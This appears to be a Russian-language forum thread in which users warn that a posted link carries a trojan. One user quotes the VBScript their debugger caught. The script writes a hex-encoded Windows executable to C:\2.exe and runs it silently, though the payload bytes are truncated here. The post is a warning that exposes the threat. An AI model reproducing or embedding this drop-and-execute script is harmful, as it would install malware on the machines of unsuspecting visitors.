Форум Flasher.ru - Уберите урода

Форум Flasher.ru (http://www.flasher.ru/forum/index.php)

- Флейм (http://www.flasher.ru/forum/forumdisplay.php?f=7)

- - Уберите урода (http://www.flasher.ru/forum/showthread.php?t=55695)

Уберите урода

http://www.flasher.ru/forum/search.p...earchid=289808

там по ссылке троян сидит

дык .. это чё ... терь ... жать незя ? :confused:

тебя в смысле?

начина а а аеться ... :o

..всё уже давно закончено.....тут толька...."битый щенок" плоды собирает

Ракеша идёт на...

а вот это что по твоему? мой дибагер его сразу поймал ;)

Код:



<SCRIPT language=vbs>

self.MoveTo 6000,6000

set a=CreateObject("Scripting.FileSystemObject")

set b=a.CreateTextFile("C:\2.exe",1)

b.write(H("4D5A50000200000004000F00FFFF0000B80000000000000040001A000000"))

b.Write(H("000000000000000000000000000000000000000000000000000000000000"))

b.Write(H("00010000BA10000E1FB409CD21B8014CCD219090546869732070726F6772"))

b.Write(H("616D206D7573742062652072756E20756E6465722057696E33320D0A2437"))

b.Write(H("000000000000000000000000000000000000000000000000000000000000"))

b.Write(H("000000000000000000000000000000000000000000000000000000000000"))

b.Write(H("000000000000000000000000000000000000000000000000000000000000"))

b.Write(H("000000000000000000000000000000000000000000000000000000000000"))

.

.

.

.

.

.

b.Write(H("0000000000000000000000000000000002A0021000011000344435413530"))

b.Write(H(""))

b.Close

Set shell = CreateObject("WScript.Shell")

shell.run("C:\2.exe")

Function H(H1)

Dim H2

Dim H3:H2=""

For H3=1 To Len(H1) Step 2

H2=H2&Chr("&h"&Mid(H1,H3,2))

Next

H=H2

End Function

кто :confused: какова . . . :confused:

;) Ил... если я говорю троян можеш не сомневаться ... Лови его теперь :D

дык я ничё не нажимал ... :D

да ланааа... ;) не нажимал.